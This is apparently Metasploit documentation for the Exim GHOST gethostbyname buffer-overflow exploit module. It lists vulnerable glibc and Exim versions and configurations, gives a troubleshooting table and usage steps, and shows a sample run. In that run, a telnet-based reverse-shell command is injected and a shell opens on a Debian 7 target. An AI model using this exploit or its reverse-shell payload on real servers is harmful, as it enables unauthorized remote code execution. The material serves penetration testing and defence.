## Vulnerable Application

The Exim GHOST buffer overflow is a vulnerability found by researchers from Qualys.
On March 17th 2015, Qualys released an exploit module demonstrating the exploitability
of this flaw, which is now `exim_gethostbyname_bof` in Metasploit Framework.

When Qualys released the exploit, it included a lot of technical details for debugging
and usage purposes. We decided to put all that here in a more readable format.

### What is "GHOST"

This is a heap based buffer overflow found in GNU C Library's **g**et**host**byname
functions since glibc-2.2 (November 10, 2000), which is part of the Linux operating
system, such as: Debian, Red Hat, CentOS, and Ubuntu.

### Exploitable Requirements

**On the server-side (victim):**

* glibc-2.6 - glibc-2.17: The exploit depends on the newer versions' `fd_nextsize`
(a member of the malloc_chunk structure) to remotely obtain the address of Exim's
`smtp_cmd_buffer` in the heap.
* Exim server. The first exploitable version is Exim-4.77, maybe older. The exploit
depends on the newer versions' 16-KB `smtp_cmd_buffer` to reliably set up the heap as described in the advisory.
* The Exim server also must enable `helo_try_verify_hosts` or `helo_verify_hosts`
in the `/etc/exim4/exim4.conf.template` file. The `verify = helo` ACL might be exploitable
too, but the attack vector isn't as reliable, therefore not supported by the module.

For testing purposes, if you need to find a vulnerable system, you can try Debian 7
(it should come with an exploitable Exim server):
[debian-7.7.0-i386-DVD-1.iso](https://archive.org/download/Debian-7.7.0/debian-7.7.0-i386-DVD-1.iso)

**On the attacker's side:**

* The attacker's IPv4 address must have both forward and reverse DNS entries that match each other
(Forward-Confirmed reverse DNS).

### Troubleshooting

If the `exim_gethostbyname_bof.rb` module has failed on you:

| Failure  | Explanation |
| -------- | ----------- |
| bad `SENDER_HOST_ADDRESS` (nil) | The `SENDER_HOST_ADDRESS` datastore option was not specified |
| bad `SENDER_HOST_ADDRESS` (not in IPv4 dotted-decimal notation) | The `SENDER_HOST_ADDRESS` datastore option was specified, but not in IPv4 dotted-decimal notation |
| bad `SENDER_HOST_ADDRESS` (helo_verify_hosts) | The `SENDER_HOST_ADDRESS` datastore option does not match the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim). |
| bad `SENDER_HOST_ADDRESS` (no FCrDNS) | the IPv4 address of the SMTP client (Metasploit) has no Forward-Confirmed reverse DNS. |
| not vuln? old glibc? (no leaked_arch) | the remote Exim server is either not vulnerable, or not exploitable (glibc versions older than glibc-2.6 have no fd_nextsize member in their malloc_chunk structure). |
| NUL, CR, LF in addr? (no leaked_addr) | Exim's heap address contains bad characters (NUL, CR, LF) and was therefore mangled during the information leak; this exploit is able to reconstruct most of these addresses, but not all (worst-case probability is ~1/85, but could be further improved). |
| Brute-force SUCCESS followed by a nil reply, but no shell | the remote Unix command was executed, but spawned a bind-shell or a reverse-shell that failed to connect (maybe because of a firewall, or a NAT, etc). |
| Brute-force SUCCESS followed by a non-nil reply, and no shell | The remote Unix command was executed, but failed to spawn the shell (maybe because the setsid command doesn't exist, or awk isn't gawk, or netcat doesn't support the -6 or -e option, or telnet doesn't support the -z option, etc). |

## Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/linux/smtp/exim_gethostbyname_bof```
  4. Do: ```set rhosts [ip]```
  5. Do: ```set SENDER_HOST_ADDRESS [ip]```
  6. Do: ```run```
  7. You should get a shell.

## Options

### SENDER_HOST_ADDRESS

The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)

## Scenarios

### Debian 7.7

When everything is dialed in correctly, a successful attack should look like the following:

```
msf exploit(exim_gethostbyname_bof) > run

[*] Started reverse double handler
[*] Trying information leak...
[!] {:heap_shift=>736}
[!] {:write_offset=>128, :error=>"503 sender not yet given"}
[!] {:write_offset=>136, :error=>"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"}
[!] {:error=>["\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given", "", "503 \x89\x10", "177", "177\\177\\177", "vJN\\177\\177\\177\\177"]}
[!] {:leaked_arch=>"x86"}
[!] {:count=>{"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"=>8, "hF\xFE\xB7hF\xFE\xB7er not yet given"=>2}}
[+] Successfully leaked_arch: x86
[+] Successfully leaked_addr: b7fda760
[*] Trying code execution...
[!] ${run{/usr/bin/env setsid /bin/sh -c "sh -c '(sleep 4011|telnet 192.168.1.64 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.64 4444 >/dev/null 2>&1 &)'"}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>21}
[!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>25}
[!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>20}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>8}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>6}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>12}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>19}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>29}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>23}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>18}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>14}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>3}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>29}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>28}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd02a1", :offset=>26}
[!] {:reply=>{:code=>"550", :lines=>["550 sikVtqGxFOjCBOWTbDupmIuJRmLmShFNqqUYRRPUolyxPmmgLCenEzConuVGWafjgycyRfXulGNwmAOvkqZkGobMyUIMPojZsaziCjVVyvabOrcieEWrLZSgnCCXHeXjIzGGfUALAIubgBEmsKsSWSGa\r\n"]}}
[+] Brute-force SUCCESS
[+] Please wait for reply...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qaNpBmRBEus9XoVZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "qaNpBmRBEus9XoVZ\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.64:4444 -> 192.168.1.166:58859) at 2015-03-19 03:36:52 -0500
[!] {:reply=>nil}

id
uid=104(Debian-exim) gid=112(Debian-exim) groups=112(Debian-exim)
```
